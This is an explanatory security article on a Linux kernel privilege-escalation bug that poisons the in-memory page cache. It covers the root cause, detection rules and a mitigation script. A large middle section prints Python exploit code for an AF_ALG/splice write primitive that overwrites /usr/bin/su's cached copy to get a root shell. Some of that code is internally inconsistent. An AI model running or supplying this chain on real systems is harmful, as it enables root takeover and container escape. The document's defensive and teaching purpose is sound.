Background - What Is Copy Fail?

The Plain-English Summary

Imagine your operating system stores the contents of every open file in a scratchpad in RAM - a cache - so it doesn't have to keep reading from the slow hard drive. Now imagine that an attacker with a regular, unprivileged user account can silently edit four bytes of that in-memory scratchpad per operation, targeting any file they can read. No alarms fire. Nothing on disk changes. The next time the OS runs that program from cache, it runs the attacker's modified version.

That is Copy Fail in one paragraph. The attacker targets /usr/bin/su - a setuid-root binary that every user can run - corrupts its in-memory copy to execute setuid(0); execve("/bin/sh") instead of normal code, then runs su. The kernel loads the binary from the corrupted cache, and the attacker gets a root shell.

Critical CVE-2026-31431 was disclosed on April 29, 2026 by Taeyang Lee at Theori/Xint Code. CISA immediately added it to its Known Exploited Vulnerabilities catalog. As of May 2026, Ubuntu, Amazon Linux, and RHEL have not pushed the kernel patch through standard apt update && apt upgrade or yum update channels on most versions. Your server is most likely still vulnerable.

The name "Copy Fail" refers to how the attack is triggered: it exploits a code path that runs during a failed copy operation deep inside the kernel's cryptography layer. The failure is intentional - the attacker deliberately crafts invalid data so a specific pre-failure write happens at a chosen offset.

Affected Systems at a Glance

The vulnerable code was introduced by kernel commit 72548b093ee3 in August 2017 and landed in kernel version 4.14. Every kernel from v4.14 through v6.19.11 is affected - a nearly nine-year window.

SystemVulnerable?Notes
Ubuntu 20.04 / 22.04 / 24.04YesPatches rolling out but not yet in default apt channels
RHEL 8 / 9 / 10YesPatches in progress
Amazon Linux 2023YesPatches in progress
Debian stableYesDebian sid/unstable is patched
Fedora / Arch / SUSEYesUpdates needed
Linux kernel ≥ 6.19.12NoUpstream fix shipped
AndroidNoSELinux policy blocks AF_ALG for unprivileged processes
AWS Fargate / LambdaNoFirecracker microVM boundary - different kernel per VM
gVisor containersNoUserspace kernel does not implement AF_ALG

Three Kernel Subsystems You Need to Know

The bug lives at the intersection of three parts of the Linux kernel. You don't need to be a kernel developer to understand them - think of them as three tools that were never supposed to be used together in this way.

AF_ALG - Crypto Through a Socket

Linux lets programs encrypt and decrypt data by talking to the kernel through a special socket interface called AF_ALG (Address Family ALG, family number 38). Any unprivileged user can open one of these sockets - no root, no special permission required. Think of it as a standard electrical outlet: anyone can plug into it.

AF_ALG exposes hardware-accelerated encryption to userspace programs that would otherwise need to bundle their own crypto libraries. You ask the kernel "please encrypt this data with AES-256", hand it your data, and get back the result.

Why does this matter? AF_ALG is the entry point for the entire attack. Because it requires zero privileges to open, any user account - including compromised web application processes, CI runners, container workloads, and regular desk users - can start the exploit.

splice() - Zero-Copy Data Transfer

Normally, when a program reads a file and writes it somewhere else, data has to travel: disk → kernel buffer → userspace buffer → back to kernel. splice() is a Linux syscall that short-circuits this: it moves data between two kernel file descriptors without ever copying bytes through userspace. Instead, the kernel hands over references - pointers - to the pages already sitting in the page cache (the in-RAM copy of file contents).

The crucial detail: when you splice() a file into the AF_ALG socket, the kernel's crypto subsystem receives a direct pointer to that file's pages in RAM. Not a copy of the data - the actual pages.

AEAD and authencesn - The Crypto Being Abused

AEAD stands for Authenticated Encryption with Associated Data. It's a mode of encryption that simultaneously encrypts data and verifies its authenticity - so you know the data wasn't tampered with. AES-GCM (used in HTTPS) and ChaCha20-Poly1305 are common AEAD schemes.

The specific AEAD template the exploit targets is authencesn(hmac(sha256),cbc(aes)) - a construction used for IPsec VPN connections that handle Extended Sequence Numbers (ESN). The authencesn module does housekeeping during decryption: it needs to temporarily rearrange the sequence number fields in the output buffer. This rearrangement is where the bug lives.


The Root Cause - A 2017 "Optimization"

Before August 2017, when the kernel processed AEAD operations through AF_ALG, it kept two separate buffers: a source buffer (where your input data lives) and a destination buffer (where the output goes). These were completely independent memory regions. Clean separation.

In August 2017, a developer submitted an optimization: instead of using separate source and destination buffers, perform the AEAD operation in-place. Merge them into one. This reduces memory allocations and speeds things up. The optimization was merged into kernel v4.14.

Here is the specific change that introduced the bug. Instead of fully copying the authentication tag into the output buffer, the optimization used sg_chain() - a scatter/gather list chaining function - to reference the tag pages directly from the source scatterlist. Then it set req->src = req->dst, making both source and destination point to the same memory.

The Fatal Consequence When an attacker uses splice() to feed a target file's page cache pages into the AF_ALG socket as the "tag" region, those page cache pages end up chained directly into the writable destination scatterlist. The kernel now thinks the file's RAM pages are a legitimate place to write output.

The authencesn module needs to write 4 bytes of scratch data into the destination buffer during its Extended Sequence Number rearrangement step. With the in-place optimization active, it writes those 4 bytes directly into the target file's page cache.

Crucially, this scratch write happens before the HMAC authentication check. The kernel then verifies the authentication tag - which fails, because the attacker fed garbage data - but the page cache was already modified. The error return does not roll back the write.

The attacker controls which 4 bytes are written (they come from bytes 4–7 of the Associated Authenticated Data field in the request) and where they land (controlled via splice() offset and the length parameters of the crypto operation). Repeat this operation across every 4-byte chunk of a target binary, and you can overwrite arbitrary content in any readable file's in-RAM copy.


The Attack Step by Step

The full exploit chain is deterministic - no race conditions, no timing windows, no need to know kernel addresses or offsets. Here is every step the 732-byte Python script performs:

1

Open an AF_ALG socket

socket(38, 5, 0) - AF_ALG, SOCK_SEQPACKET. Requires zero privileges. This is the entry point into the kernel's crypto layer.

2

Bind to the authencesn AEAD template

Bind the socket to aead / authencesn(hmac(sha256),cbc(aes)). Set the AEAD key via setsockopt(SOL_ALG, ALG_SET_KEY) using authencesn's rtattr format (4-byte rtattr header + 4-byte enckeylen + 16-byte HMAC key + 16-byte AES key). Set the auth tag size to 4 bytes via setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) - this must be called before accept() or subsequent sendmsg calls return EINVAL. Finally call accept() to get an operational crypto file descriptor. A fresh socket is created for each 4-byte write to avoid stale state after the expected auth failure.

3

Open the target binary

Open /usr/bin/su for reading - only read permission is needed. This is a setuid-root program that all users can read. The goal is to corrupt its in-memory (page cache) copy.

4

Splice file pages into a pipe, then into AF_ALG

Use splice(fd_su, offset, pipe_write, ...) to move the target file's page cache pages into a pipe - zero copy, direct reference. Then use splice(pipe_read, af_alg_socket, ...) to feed them into the crypto socket. Those pages are now chained into the AEAD destination scatterlist.

5

Trigger the scratch write via sendmsg / recv

Issue sendmsg(MSG_MORE) first with the 8-byte AAD, placing the desired 4 bytes at AAD bytes 4–7 (the seqno_lo field). Then splice the file pages. Then call recv() to trigger AEAD decryption. The authencesn module writes those 4 bytes into the page cache at byte cryptlen (= target_offset) - before HMAC verification fails and returns an error. The write sticks.

6

Repeat for every 4-byte chunk of the ELF payload

Loop through every 4 bytes of the 160-byte ELF payload, writing chunk by chunk starting at offset 0. cryptlen = target_offset grows by 4 each iteration; because splice(..., offset_src=0) always reads from the start of the file, byte cryptlen of the spliced data maps exactly to file byte target_offset. Each iteration modifies exactly 4 bytes of /usr/bin/su's in-RAM copy.

7

Execute the modified binary

Call os.system("su"). The kernel loads /usr/bin/su from page cache - the corrupted copy. Because the setuid bit on the on-disk file is untouched, the kernel runs the binary with root privileges. The injected ELF calls setuid(0); execve("/bin/sh", ...), and the attacker has a root shell.

No Race Condition. No Guessing. No Compilation. Every step is deterministic. The attacker does not need to know kernel symbol addresses, heap layouts, or timing windows. The same Python script runs identically on Ubuntu, RHEL, Amazon Linux, SUSE, Fedora, and Arch Linux. On tested systems, the exploit completes in under two seconds.

Why Your Security Tools Are Blind to It

This is the property of Copy Fail that elevates it from a serious bug to an operational threat: it leaves absolutely nothing on disk. The kernel's page cache is modified, but the on-disk file is never touched.

Here is why. Every file page in the Linux page cache carries a dirty flag. When a page is modified through normal means - a write() call, mmap write, etc. - the dirty flag is set. The kernel's writeback machinery periodically flushes dirty pages to disk. File integrity tools work by hashing the on-disk content and comparing against a known-good baseline.

The AEAD scatterlist write that Copy Fail uses does not go through the normal write path. It writes directly into the page struct via scatter-gather memory walk. The dirty flag is never set. The writeback machinery never sees the modified page. The on-disk file remains exactly as it was.

Security ToolDetects Copy Fail?Why
sha256sum / md5sumNoHashes on-disk content - disk is unchanged
rpm -V / dpkg --verifyNoVerifies installed files against package database - on-disk only
AIDE / Tripwire / SamhainNoAll compare on-disk file hashes - blind to page cache state
Standard audit logs (auditd)NoNo write() syscall is issued - the modification is invisible to syscall auditing
EDR on-access file scannersNoTriggered by write syscalls - no write syscall happens
Falco / Sysdig (AF_ALG rule)YesBehavioral rule detecting AF_ALG socket creation from unexpected processes
Microsoft Defender for LinuxYesSignatures: Exploit:Linux/CopyFailExpDl.A, Exploit:Python/CopyFail.A
In-memory page cache auditingYesComparing live page cache against on-disk content detects the divergence

After exploitation, an attacker can reboot the machine to flush the page cache, and the evidence disappears entirely - the on-disk binary is restored to its original clean state from disk on next read. A forensic investigator examining the disk image would find nothing.

Auth Log Anomaly If the exploit variant targeting /usr/bin/su is used, the auth log may contain entries with missing invoking usernames or may be absent entirely, depending on how early the shellcode intercepts execution. This is a weak signal but worth monitoring.

Beyond Your Machine - Container Escape & Cloud Impact

Copy Fail's most dangerous dimension is that the Linux page cache is shared across all processes on a host - including across container namespace boundaries. When multiple Docker containers run on the same physical host, they share the host kernel and therefore share the host's page cache. If a container process corrupts the page cache copy of a binary that the host also uses, the corruption affects the host.

The attack path from a compromised container to host root is:

Attacker lands in an unprivileged container Via a web app RCE, supply chain compromise, or malicious code in a CI job
Identifies a shared base-image binary in the host's page cache e.g. /usr/bin/su from the host OS image, readable from within the container
Runs the 732-byte Python exploit from inside the container Corrupts the host's page cache copy of the target binary
Executes the corrupted binary The host kernel runs shellcode - attacker has host root, breaking container isolation
Kubernetes node fully compromised From host root, all other pods on the node are accessible - secrets, credentials, service tokens
CI/CD Pipeline Risk Self-hosted GitHub Actions runners and similar CI systems that run jobs from untrusted pull requests in shared Linux containers are directly in scope. A malicious contributor submitting a PR can include a modified test script that runs the exploit and roots the CI host.

Cloud environments using hardware virtualization (each VM has its own kernel, like AWS EC2 with dedicated instances, AWS Fargate, or Cloudflare Workers) are not vulnerable to the container escape path, because the kernel page cache is not shared across VM boundaries. However, the local privilege escalation within each VM still applies if the kernel is in the vulnerable range.


Code Deep Dive - Inside the PoC

Setting Up the AF_ALG Socket

The exploit begins by creating the AF_ALG socket, binding it to the vulnerable AEAD template, and configuring the auth tag size. No root required, no special files, no manual module loading:

Pythonexploit setup
import os, socket, zlib

# Step 1: create AF_ALG socket (no privileges required)
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)

# Step 2: bind to the authencesn AEAD template
sock.bind((
    "aead",                                    # type
    "authencesn(hmac(sha256),cbc(aes))",        # name of vulnerable template
    0,                                          # feat
    0                                            # mask (non-zero causes EINVAL on recent kernels)
))

# Step 3: set the AEAD key - authencesn requires rtattr-formatted key:
#   [rtattr hdr: rta_len=8, rta_type=1 (4B)] [enckeylen big-endian (4B)]
#   [HMAC-SHA256 auth key (32B)] [AES-128 enc key (16B)]
enc_key  = b'\x00' * 16   # AES-128 encryption key (16 bytes)
auth_key = b'\x00' * 16   # HMAC-SHA256 authentication key (16 bytes)
aead_key = (struct.pack('<HH', 8, 1) +   # rtattr: rta_len=8, rta_type=1
            struct.pack('>I', len(enc_key)) +  # enckeylen=16 big-endian
            auth_key + enc_key)              # 16B auth key + 16B enc key
sock.setsockopt(279, 1, aead_key)   # SOL_ALG=279, ALG_SET_KEY=1
sock.setsockopt(279, 5, None, 4)     # ALG_SET_AEAD_AUTHSIZE=5 on this kernel, authsize=4 bytes

# Step 4: accept() returns the operational crypto fd
op_fd, _ = sock.accept()

The Write Primitive - Corrupting Page Cache

The core of the exploit: for each 4-byte chunk to write, a fresh AF_ALG socket is created (bind, key, authsize, accept) - one per write to avoid any stale state. Then the function sends the 8-byte AAD (bytes 4-7 = seqno_lo = the value we want written) via sendmsg(MSG_MORE), splices the target file's page cache pages into the socket, and calls recv() to trigger the AEAD operation:

Python4-byte write primitive
def write_4bytes(op_fd, target_path, target_offset, value_bytes):
    # assoclen=8: 4-byte padding + 4-byte seqno_lo (the value to plant)
    assoclen = 8
    authsize = 4                           # truncated auth tag (set via ALG_SET_AEAD_AUTHSIZE)
    cryptlen = target_offset               # seqno_lo write lands at byte cryptlen = target_offset

    # Open target file (read permission only needed)
    target_fd = os.open(target_path, os.O_RDONLY)
    pipe_r, pipe_w = os.pipe()

    # Step 1: sendmsg FIRST with MSG_MORE - buffers the 8-byte AAD, does not flush yet
    # bytes 4-7 = seqno_lo = the 4 bytes authencesn will write into the page cache
    aad = b'A' * 4 + value_bytes              # 8-byte AAD: 4-byte padding + 4-byte seqno_lo value
    op_fd.sendmsg([aad],
        [
            (socket.SOL_ALG, 3, (0).to_bytes(4, 'little')),            # ALG_SET_OP=3: decrypt
            (socket.SOL_ALG, 2, struct.pack('<I', 16) + b'\x00' * 16), # ALG_SET_IV=2: zero AES-CBC IV
            (socket.SOL_ALG, 4, assoclen.to_bytes(4, 'little')),      # ALG_SET_AEAD_ASSOCLEN=4
        ],
        socket.MSG_MORE)                             # more data coming via splice

    # Step 2: splice() file pages into pipe (zero copy - actual page cache refs)
    # offset_src=0: always read from the beginning of the file (not sequential)
    os.splice(target_fd, pipe_w, cryptlen + authsize, offset_src=0)

    # Step 3: splice() pipe into AF_ALG (page cache pages enter AEAD scatterlist)
    os.splice(pipe_r, op_fd.fileno(), cryptlen + authsize)

    # Step 4: recv() triggers AEAD decryption
    # authencesn's scatterwalk_map_and_copy writes seqno_lo at byte
    # cryptlen (= target_offset) into the page cache
    # BEFORE HMAC is verified - the write is never rolled back
    try:
        op_fd.recv(assoclen + cryptlen)
    except OSError:
        pass   # EBADMSG - HMAC fails as expected, page cache already written

    os.close(target_fd); os.close(pipe_r); os.close(pipe_w)
The Write Happens Before the Check The recv() call always returns an EBADMSG error - HMAC verification fails because the ciphertext is garbage. But by that point, authencesn's internal scatterwalk_map_and_copy() call has already written 4 bytes into the page cache. The error does not undo the write. The kernel has no rollback path here.

Injecting the ELF Payload and Getting Root

With the 4-byte write primitive, the exploit writes a complete minimal ELF64 binary into /usr/bin/su's page cache starting from byte 0 - replacing the ELF magic bytes, headers, and code entirely. The payload is a self-contained 160-byte ELF: a 64-byte ELF header, a single 56-byte PT_LOAD program header, and 40 bytes of x86-64 shellcode that calls setuid(0) then execve("/bin/sh", ...). It is embedded in the exploit compressed with zlib and decompressed at runtime.

Why Writing from Offset 0 Works The first iteration writes at target_offset = 0, which means cryptlen = 0. You might expect AES-CBC to reject this because it requires a full 16-byte block. It doesn't matter: authencesn's seqno_lo write is part of its pre-processing phase - it writes into the scatterlist before dispatching to the inner hmac(sha256)+cbc(aes) transform. Even with cryptlen = 0, the 4-byte page cache write fires. The subsequent cipher failure (block size mismatch or bad HMAC) comes after - and does not roll back the write. Each subsequent iteration increments cryptlen by 4, and because splice(..., offset_src=0) always reads from the start of the file, byte cryptlen of the spliced data maps exactly to file byte target_offset.
PythonELF injection and execution
# ELF_PAYLOAD: 160-byte self-contained ELF64, zlib-compressed in the exploit
#   - ELF header (64B): e_entry points into the code section below
#   - PT_LOAD (56B):    maps file[0..159] to a fixed virtual address, RWX
#   - code (40B):       setuid(0) + execve("/bin/sh", ["/bin/sh", NULL], NULL) + exit(0)
ELF_PAYLOAD = zlib.decompress(COMPRESSED_BLOB)   # 160 bytes after decompression

TARGET = "/usr/bin/su"   # setuid-root binary, world-readable
file_fd = os.open(TARGET, os.O_RDONLY)

# Overwrite /usr/bin/su's page cache from offset 0 - replaces the entire binary in RAM
# Each write_4bytes() creates its own fresh AF_ALG socket (bind/key/accept per call)
i = 0
while i < len(ELF_PAYLOAD):
    write_4bytes(file_fd, i, ELF_PAYLOAD[i:i+4])
    i += 4

# Run su - kernel loads from poisoned page cache, setuid bit intact on disk
# Injected ELF calls setuid(0) then execve("/bin/sh") - root shell
os.system("su")

Why authencesn Specifically?

The authencesn template is chosen because its ESN rearrangement performs a scatterwalk_map_and_copy(..., 4, 1) call - a 4-byte write - at a predictable offset relative to the AEAD parameters the attacker controls. The write lands at byte cryptlen in the scatterlist - an offset the attacker controls precisely by setting cryptlen = target_offset. This gives exact, repeatable control over the write target with no uncertainty.

Other AEAD templates do not perform this specific scratch write, or they write at offsets the attacker cannot control. authencesn is the one template where the write lands exactly where controlled parameters dictate.


Detection Strategies

Because the attack leaves no on-disk traces and issues no write() syscalls, detection must focus on behavioral patterns at the syscall and kernel module level.

Falco / Sysdig Behavioral Rule

The most reliable open-source detection is monitoring for unexpected AF_ALG socket creation. Legitimate programs that use AF_ALG are rare and well-known - primarily cryptsetup, systemd-cryptsetup, and veritysetup. Any other process opening an AF_ALG SEQPACKET socket should be treated as suspicious:

YAMLFalco rule - Copy Fail detection
- rule: AF_ALG Page Cache Poisoning Attempt
  desc: Detects unexpected AF_ALG SEQPACKET socket creation (CVE-2026-31431)
  condition: evt.type = socket
    and evt.arg.domain in (38, 2053, 524293, 526341)
    and evt.arg.type = 5
    and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup)
  output: "Possible Copy Fail exploit: AF_ALG socket from %proc.name (user=%user.name pid=%proc.pid)"
  priority: CRITICAL
  tags: [CVE-2026-31431, privilege_escalation]

Audit Rule via auditd

If you use auditd, you can add a rule to catch AF_ALG socket creation at the syscall level:

Bash/etc/audit/rules.d/copy-fail.rules
# Alert on socket(AF_ALG=38, ...) from any process
-a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_af_alg

Check for hits with: ausearch -k copy_fail_af_alg

Check if algif_aead Module Was Loaded On-Demand

AF_ALG loads the algif_aead module on demand when first used. If the module appears in lsmod and your system does not run LUKS or IPsec, that is a strong indicator the exploit has been attempted:

Bashcheck for suspicious module load
# If this prints output and you don't use IPsec/LUKS, investigate
lsmod | grep algif_aead

# Check kernel log for when it was loaded
dmesg | grep algif

Mitigation - Check & Patch Your System Now

The Situation With Distro Patches

The mainline fix is commit a664bf3d603d (kernel 7.0), which reverts algif_aead.c to out-of-place operation - fully removing the 2017 in-place optimization. The stable branch backports are commit ce42ee423e58 for kernel 6.19.12 and commit fafe0fa2995a for kernel 6.18.22. Each major LTS branch (5.10, 5.15, 6.1, 6.6, 6.12) received its own backport commit simultaneously.

However, most production servers running Ubuntu LTS (20.04, 22.04, 24.04), RHEL 8/9, and Amazon Linux 2023 have not received this fix through standard apt update && apt upgrade or yum update channels as of May 2026. Vendor backport processes are ongoing, but the timeline is unclear. You cannot wait for your package manager to save you here.

Safe Interim Mitigation: Disable algif_aead Blacklisting the algif_aead kernel module prevents the exploit entirely. This does not affect LUKS disk encryption, IPsec tunnels, TLS, or OpenSSL - those subsystems use the kernel's crypto engine directly through the af_alg kernel module at a lower level, not through the algif_aead userspace interface. The only thing disabled is the ability to access AEAD operations through the AF_ALG socket interface from userspace - which no legitimate application on a typical server needs.

Automated Check & Patch Script

Copy the script below, save it as copy-fail-patch.sh, make it executable, and run with sudo. It checks whether your system is vulnerable and, if it is, applies the algif_aead mitigation with your confirmation:

Bashcopy-fail-patch.sh
#!/usr/bin/env bash
# CVE-2026-31431 (Copy Fail) - Vulnerability Checker & Patcher
# Detects whether the running kernel is vulnerable and applies the
# algif_aead mitigation (blacklists the module + unloads it if loaded).
# Safe to run multiple times. Does not affect LUKS, IPsec, or TLS.

set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'
MODPROBE_CONF="/etc/modprobe.d/disable-algif-aead.conf"
PATCH_OK=false
KERNEL_VULN=false
MODULE_STATUS="absent"

banner() {
  echo -e "${CYAN}"
  echo "  ╔═══════════════════════════════════════════════╗"
  echo "  ║   CVE-2026-31431 · Copy Fail · Checker v1.0   ║"
  echo "  ╚═══════════════════════════════════════════════╝"
  echo -e "${NC}"
}

check_root() {
  if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}[!] Not running as root - check-only mode.${NC}"
    echo -e "${YELLOW}    Re-run with sudo to apply the mitigation.${NC}"
  else
    PATCH_OK=true
  fi
}

version_le() {
  # Returns 0 if $1 <= $2 using version sort
  printf '%s\n%s' "$1" "$2" | sort -V -C
}

check_kernel_version() {
  local kver
  kver=$(uname -r | grep -oP '^\d+\.\d+\.\d+')
  echo -e "${BOLD}[*] Kernel: $(uname -r)${NC}"

  if version_le "4.14.0" "$kver" && version_le "$kver" "6.19.11"; then
    KERNEL_VULN=true
    echo -e "${RED}[✗] Kernel ${kver} is in the VULNERABLE range (4.14.0 – 6.19.11)${NC}"
  else
    echo -e "${GREEN}[✓] Kernel ${kver} is outside the vulnerable range${NC}"
  fi
}

check_module() {
  echo -e "${BOLD}[*] Checking algif_aead module...${NC}"
  if lsmod 2>/dev/null | grep -q "^algif_aead"; then
    echo -e "${RED}[✗] algif_aead is currently LOADED${NC}"
    MODULE_STATUS="loaded"
  elif modinfo algif_aead &>/dev/null; then
    echo -e "${YELLOW}[!] algif_aead exists and can be loaded on demand${NC}"
    MODULE_STATUS="available"
  else
    echo -e "${GREEN}[✓] algif_aead is not available on this system${NC}"
  fi
}

check_mitigation() {
  if [[ -f "$MODPROBE_CONF" ]] && grep -q "algif_aead" "$MODPROBE_CONF"; then
    echo -e "${GREEN}[✓] Mitigation already active: ${MODPROBE_CONF}${NC}"
    return 0
  fi
  return 1
}

apply_patch() {
  echo -e "${BOLD}[*] Applying mitigation...${NC}"
  echo "install algif_aead /bin/false" > "$MODPROBE_CONF"
  echo -e "${GREEN}[✓] Created ${MODPROBE_CONF}${NC}"

  if lsmod 2>/dev/null | grep -q "^algif_aead"; then
    modprobe -r algif_aead 2>/dev/null \
      && echo -e "${GREEN}[✓] algif_aead unloaded${NC}" \
      || echo -e "${YELLOW}[!] Could not unload module - reboot to complete mitigation${NC}"
  fi

  echo
  echo -e "${GREEN}${BOLD}[✓] MITIGATED - algif_aead is now blocked.${NC}"
  echo -e "${CYAN}[i] LUKS encryption, IPsec, and TLS are unaffected.${NC}"
  echo -e "${CYAN}[i] When your distro ships a patched kernel, remove: ${MODPROBE_CONF}${NC}"
}

main() {
  banner
  check_root
  echo
  check_kernel_version
  echo
  check_module
  echo

  if check_mitigation; then
    echo
    echo -e "${GREEN}${BOLD}[✓] System is PROTECTED - mitigation already applied.${NC}"
    exit 0
  fi

  if [[ "$KERNEL_VULN" == true && "$MODULE_STATUS" != "absent" ]]; then
    echo -e "${RED}${BOLD}[!] VULNERABLE: This system is susceptible to CVE-2026-31431 (Copy Fail).${NC}"
    echo -e "${RED}    Any local user can escalate to root in under 2 seconds.${NC}"
    echo

    if [[ "$PATCH_OK" == true ]]; then
      read -rp "$(echo -e "${YELLOW}Apply mitigation now? [y/N]: ${NC}")" CONFIRM
      if [[ "$CONFIRM" =~ ^[Yy]$ ]]; then
        apply_patch
      else
        echo -e "${YELLOW}[!] Mitigation not applied. System remains vulnerable.${NC}"
      fi
    else
      echo -e "${YELLOW}[!] Run as root to apply: sudo $0${NC}"
    fi

  elif [[ "$KERNEL_VULN" == false ]]; then
    echo -e "${GREEN}${BOLD}[✓] Kernel is PATCHED - not vulnerable to CVE-2026-31431.${NC}"
  else
    echo -e "${GREEN}${BOLD}[✓] algif_aead unavailable - not exploitable on this system.${NC}"
  fi
}

main "$@"
chmod +x copy-fail-patch.sh && sudo ./copy-fail-patch.sh
What the Script Does 1) Checks your kernel version against the vulnerable range (4.14.0 - 6.19.11).
2) Checks whether algif_aead is loaded or can be loaded on demand.
3) Checks whether the mitigation is already in place.
4) If vulnerable, asks for confirmation, then writes /etc/modprobe.d/disable-algif-aead.conf and unloads the module if currently loaded.
The script is idempotent - safe to run multiple times.

Manual Mitigation (Three Commands)

If you prefer to apply the mitigation directly without the script:

Bashmanual mitigation
# 1. Blacklist the module so it cannot be loaded on demand
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf

# 2. Unload it if currently loaded
sudo modprobe -r algif_aead 2>/dev/null || true

# 3. Verify it is blocked
sudo modprobe algif_aead && echo "FAILED" || echo "BLOCKED - you are protected"

To remove the mitigation after your distro ships a patched kernel:

Bashremove mitigation after patching
# Only do this after confirming your kernel is 6.19.12+ or your distro
# has pushed a CVE-2026-31431 backport (check with uname -r)
sudo rm /etc/modprobe.d/disable-algif-aead.conf

Container and Kubernetes Hardening

For containerized workloads, add a seccomp profile that blocks socket() calls with AF_ALG (domain 38). This prevents the exploit from running within any container that has the profile applied - even before the host kernel is patched:

JSONseccomp-deny-af-alg.json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [{
    "names": ["socket"],
    "action": "SCMP_ACT_ERRNO",
    "args": [{
      "index": 0,
      "value": 38,
      "op": "SCMP_CMP_EQ"
    }]
  }]
}
Track Patch Status for Your Distro Mainline fix: commit a664bf3d603d (kernel 7.0). Stable backports: ce42ee423e58 (6.19.12), fafe0fa2995a (6.18.22). Check your distro's security tracker: Ubuntu (ubuntu.com/security/CVE-2026-31431), Debian (security-tracker.debian.org), RHEL (access.redhat.com). Until your package manager delivers a patched kernel, the algif_aead blacklist is the correct mitigation.

References & Further Reading

Primary Source copy.fail
Copy Fail: Official Vulnerability Disclosure and PoC

The vulnerability homepage by Taeyang Lee, including the original 732-byte PoC, full technical write-up, and a live checker that tests whether your running kernel is exploitable.

Research xint.io
Which Linux Distributions Are Affected by Copy Fail?

Xint's detailed breakdown of patch status across Ubuntu, RHEL, Debian, Fedora, Arch, SUSE, and Amazon Linux - including per-distro remediation timelines and kernel package version tracking as of the disclosure date.

Advisory cisa.gov
CISA Known Exploited Vulnerabilities Catalog

CVE-2026-31431 was added to the KEV catalog on April 29, 2026. Under BOD 22-01, US federal agencies are required to remediate by May 20, 2026. The catalog entry confirms active exploitation in the wild.

Vendor Advisory ubuntu.com
Ubuntu Security Notice: CVE-2026-31431

Ubuntu's official patch status tracker covering 20.04 LTS, 22.04 LTS, and 24.04 LTS - listing affected kernel package versions and the specific linux-image builds that contain the fix.